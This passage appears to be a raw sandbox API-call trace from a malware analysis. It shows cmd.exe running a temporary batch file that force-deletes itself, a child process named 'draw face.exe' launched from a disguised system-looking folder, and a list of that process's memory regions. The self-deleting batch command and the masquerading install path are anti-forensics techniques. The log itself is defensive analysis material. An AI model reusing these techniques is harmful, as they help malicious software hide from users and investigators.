(HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70937a050) returned 1 [0138.754] GetProcessHeap () returned 0x1b709360000 [0138.754] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379fe0) returned 1 [0138.754] GetProcessHeap () returned 0x1b709360000 [0138.754] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093778b0) returned 1 [0138.754] GetProcessHeap () returned 0x1b709360000 [0138.754] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709367a00) returned 1 [0138.754] GetProcessHeap () returned 0x1b709360000 [0138.755] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709379f20) returned 1 [0138.755] _get_osfhandle (_FileHandle=3) returned 0x90 [0138.755] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7f [0138.755] ReadFile (in: hFile=0x90, lpBuffer=0x7ff742905b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xb5e00ff4c0, lpOverlapped=0x0 | out: lpBuffer=0x7ff742905b80*, lpNumberOfBytesRead=0xb5e00ff4c0*=0x47, lpOverlapped=0x0) returned 1 [0138.755] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="del /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat\"vzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat\"exe\"\r\ndel /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat\"SMgkVL.bat\"", cbMultiByte=71, lpWideCharStr=0x7ff7428f09e0, cchWideChar=8191 | out: lpWideCharStr="del /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat\">nul\r\n") returned 71 [0138.755] GetProcessHeap () returned 0x1b709360000 [0138.755] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70937ada0 [0138.756] GetProcessHeap () returned 0x1b709360000 [0138.756] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70937ada0) returned 1 [0138.756] _wcsicmp (_String1="del", _String2=")") returned 59 [0138.756] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0138.756] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0138.756] _wcsicmp (_String1="IF", _String2="del") returned 5 [0138.756] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0138.756] _wcsicmp (_String1="REM", _String2="del") returned 14 [0138.756] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0138.756] GetProcessHeap () returned 0x1b709360000 [0138.756] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0xb0) returned 0x1b709379f20 [0138.756] GetProcessHeap () returned 0x1b709360000 [0138.756] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x18) returned 0x1b7093772f0 [0138.759] _get_osfhandle (_FileHandle=3) returned 0x90 [0138.759] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc6 [0138.759] ReadFile (in: hFile=0x90, lpBuffer=0x7ff742905b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xb5e00ff380, lpOverlapped=0x0 | out: lpBuffer=0x7ff742905b80*, lpNumberOfBytesRead=0xb5e00ff380*=0x0, lpOverlapped=0x0) returned 1 [0138.759] GetLastError () returned 0x0 [0138.759] _get_osfhandle (_FileHandle=3) returned 0x90 [0138.759] GetFileType (hFile=0x90) returned 0x1 [0138.760] _get_osfhandle (_FileHandle=3) returned 0x90 [0138.760] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc6 [0138.760] GetProcessHeap () returned 0x1b709360000 [0138.760] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x4012) returned 0x1b70937ada0 [0138.760] GetProcessHeap () returned 0x1b709360000 [0138.760] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70937ada0) returned 1 [0138.760] GetProcessHeap () returned 0x1b709360000 [0138.760] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x9a) returned 0x1b709379fe0 [0138.760] _tell (_FileHandle=3) returned 198 [0138.760] _close (_FileHandle=3) returned 0 [0138.761] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0138.761] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0138.761] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0138.761] GetConsoleTitleW (in: lpConsoleTitle=0xb5e00ff2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0138.863] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0138.864] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0138.864] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0138.864] GetProcessHeap () returned 0x1b709360000 [0138.864] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x124) returned 0x1b709365880 [0138.864] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b709365880) returned 0xa0 [0138.864] RtlSizeHeap (HeapHandle=0x1b709360000, Flags=0x0, MemoryPointer=0x1b7093659e0) returned 0xa0 [0138.867] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0xb5e00fee10 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0138.867] GetProcessHeap () returned 0x1b709360000 [0138.867] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x58) returned 0x1b709377cd0 [0138.868] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0xb5e00fdce0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0138.868] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0xb5e00fdf80, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0xb5e00fe3b0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0xb5e00fdf80*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0138.869] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0138.869] GetProcessHeap () returned 0x1b709360000 [0138.869] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x58) returned 0x1b709377fd0 [0138.869] GetProcessHeap () returned 0x1b709360000 [0138.869] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x260) returned 0x1b70936a8f0 [0138.869] _wcsicmp (_String1="PBAoSMgkVL.bat", _String2=".") returned 66 [0138.869] _wcsicmp (_String1="PBAoSMgkVL.bat", _String2="..") returned 66 [0138.869] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat")) returned 0x20 [0138.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1b70936ab70 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0138.869] SetErrorMode (uMode=0x0) returned 0x0 [0138.869] SetErrorMode (uMode=0x1) returned 0x0 [0138.869] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat", nBufferLength=0x104, lpBuffer=0xb5e00fe3a0, lpFilePart=0xb5e00fe390 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", lpFilePart=0xb5e00fe390*="PBAoSMgkVL.bat") returned 0x37 [0138.869] SetErrorMode (uMode=0x0) returned 0x1 [0138.870] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp")) returned 0x10 [0138.870] GetProcessHeap () returned 0x1b709360000 [0138.870] RtlAllocateHeap (HeapHandle=0x1b709360000, Flags=0x8, Size=0x260) returned 0x1b70936ad80 [0138.870] _wcsicmp (_String1="PBAoSMgkVL.bat", _String2=".") returned 66 [0138.870] _wcsicmp (_String1="PBAoSMgkVL.bat", _String2="..") returned 66 [0138.870] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat")) returned 0x20 [0138.870] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), fInfoLevelId=0x0, lpFindFileData=0x1b7093790e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1b7093790e4) returned 0x1b709377af0 [0138.870] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0138.870] NtOpenFile (in: FileHandle=0xb5e00fe1d0, DesiredAccess=0x10000, ObjectAttributes=0xb5e00fe170*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xb5e00fe140, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0xb5e00fe1d0*=0x88, IoStatusBlock=0xb5e00fe140*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0138.871] RtlReleaseRelativeName () returned 0x0 [0138.871] RtlFreeAnsiString (AnsiString="\\") [0138.871] NtQueryVolumeInformationFile (in: FileHandle=0x88, IoStatusBlock=0xb5e00fe048, FsInformation=0xb5e00fe040, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0xb5e00fe048, FsInformation=0xb5e00fe040) returned 0x0 [0138.871] CloseHandle (hObject=0x88) returned 1 [0138.872] FindNextFileW (in: hFindFile=0x1b709377af0, lpFindFileData=0x1b7093790e4 | out: lpFindFileData=0x1b7093790e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebbe9d3, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2ebbe9d3, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2ebbe9d3, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PBAoSMgkVL.bat", cAlternateFileName="PBAOSM~1.BAT")) returned 0 [0138.873] GetLastError () returned 0x12 [0138.873] FindClose (in: hFindFile=0x1b709377af0 | out: hFindFile=0x1b709377af0) returned 1 [0138.873] GetProcessHeap () returned 0x1b709360000 [0138.873] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093790d0) returned 1 [0138.873] GetProcessHeap () returned 0x1b709360000 [0138.873] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709365a90) returned 1 [0138.873] GetProcessHeap () returned 0x1b709360000 [0138.873] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709378c10) returned 1 [0138.873] GetProcessHeap () returned 0x1b709360000 [0138.873] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70937a090) returned 1 [0138.873] GetProcessHeap () returned 0x1b709360000 [0138.874] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936ad80) returned 1 [0138.874] GetProcessHeap () returned 0x1b709360000 [0138.874] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936ab60) returned 1 [0138.874] GetProcessHeap () returned 0x1b709360000 [0138.874] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b70936a8f0) returned 1 [0138.874] GetProcessHeap () returned 0x1b709360000 [0138.875] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709377fd0) returned 1 [0138.875] GetProcessHeap () returned 0x1b709360000 [0138.875] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709377cd0) returned 1 [0138.875] GetProcessHeap () returned 0x1b709360000 [0138.875] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b709365d40) returned 1 [0138.875] GetProcessHeap () returned 0x1b709360000 [0138.875] RtlFreeHeap (HeapHandle=0x1b709360000, Flags=0x0, BaseAddress=0x1b7093659e0) returned 1 [0138.875] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.875] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0138.976] _get_osfhandle (_FileHandle=1) returned 0x24 [0138.976] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff7428f960c | out: lpMode=0x7ff7428f960c) returned 1 [0139.066] _get_osfhandle (_FileHandle=0) returned 0x20 [0139.066] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff7428f9608 | out: lpMode=0x7ff7428f9608) returned 1 [0139.160] SetConsoleInputExeNameW () returned 0x1 [0139.160] GetConsoleOutputCP () returned 0x1b5 [0139.212] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7428f9660 | out: lpCPInfo=0x7ff7428f9660) returned 1 [0139.212] SetThreadUILanguage (LangId=0x0) returned 0x409 [0139.215] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xb5e00ff500, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.215] GetLastError () returned 0x2 [0139.215] _get_osfhandle (_FileHandle=2) returned 0x28 [0139.215] GetFileType (hFile=0x28) returned 0x2 [0139.215] GetStdHandle (nStdHandle=0xfffffff4) returned 0x28 [0139.215] GetConsoleMode (in: hConsoleHandle=0x28, lpMode=0xb5e00ff468 | out: lpMode=0xb5e00ff468) returned 1 [0139.301] _get_osfhandle (_FileHandle=2) returned 0x28 [0139.301] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x28, lpConsoleScreenBufferInfo=0xb5e00ff4a0 | out: lpConsoleScreenBufferInfo=0xb5e00ff4a0) returned 1 [0139.394] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff742901b60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0139.397] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff742901b60, nSize=0x2000, Arguments=0xb5e00ff540 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0139.397] WriteConsoleW (in: hConsoleOutput=0x28, lpBuffer=0x7ff742901b60*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0xb5e00ff490, lpReserved=0x0 | out: lpBuffer=0x7ff742901b60*, lpNumberOfCharsWritten=0xb5e00ff490*=0x21) returned 1 [0139.482] CmdBatNotificationStub () returned 0x0 [0139.482] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.482] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0139.597] _get_osfhandle (_FileHandle=1) returned 0x24 [0139.597] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff7428f960c | out: lpMode=0x7ff7428f960c) returned 1 [0139.722] _get_osfhandle (_FileHandle=0) returned 0x20 [0139.723] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff7428f9608 | out: lpMode=0x7ff7428f9608) returned 1 [0139.882] SetConsoleInputExeNameW () returned 0x1 [0139.882] GetConsoleOutputCP () returned 0x1b5 [0139.973] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7428f9660 | out: lpCPInfo=0x7ff7428f9660) returned 1 [0139.973] SetThreadUILanguage (LangId=0x0) returned 0x409 [0140.054] exit (_Code=1) Thread: id = 204 os_tid = 0xc5c Process: id = "38" image_name = "draw face.exe" filename = "c:\\program files (x86)\\windows nt\\tabletextservice\\draw face.exe" page_root = "0x31baf000" os_pid = "0xc3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "\"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3995 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3996 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3997 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3998 start_va = 0x320000 end_va = 0x519fff monitored = 1 entry_point = 0x51131e region_type = mapped_file name = "draw face.exe" filename = "\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\draw face.exe") Region: id = 3999 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4000 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4001 start_va = 0x7ff5ff700000 end_va = 0x7ff5ff722fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff700000" filename = "" Region: id = 4002 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4004 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 4005 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4208 start_va = 0x800000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 4209 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4210 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4211 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4212 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4213 start_va = 0x7ff5ff600000 end_va = 0x7ff5ff6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff600000" filename = "" Region: id = 4214 start_va = 0x170000 end_va = 0x22dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4215 start_va = 0xa10000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 4216 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4217 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4218 start_va = 0x7ff5ff580000 end_va = 0x7ff5ff5fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4298 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4299 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4300 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 4301 start_va = 0x910000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 4302 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4303 start_va = 0x230000 end_va = 0x236fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4304 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4305 start_va = 0x240000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4306 start_va = 0x240000 end_va = 0x246fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4307 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 4308 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4359 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4360 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4361 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4362 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4363 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4364 start_va = 0x250000 end_va = 0x288fff monitored = 0 entry_point = 0x2512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4365 start_va = 0xb90000 end_va = 0xd17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 4366 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4707 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4708 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4709 start_va = 0xd20000 end_va = 0xea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 4710 start_va = 0xeb0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000eb0000" filename = "" Region: id = 4711 start_va = 0x22b0000 end_va = 0x24a2fff monitored = 1 entry_point = 0x24a131e region_type = mapped_file name = "draw face.exe" filename = "\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\draw face.exe") Region: id = 4712 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4713 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4714 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5194 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 5195 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 6009 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 6010 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 6011 start_va = 0x7ff9ff1b0000 end_va = 0x7ff9ff1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1b0000" filename = "" Region: id = 6012 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private 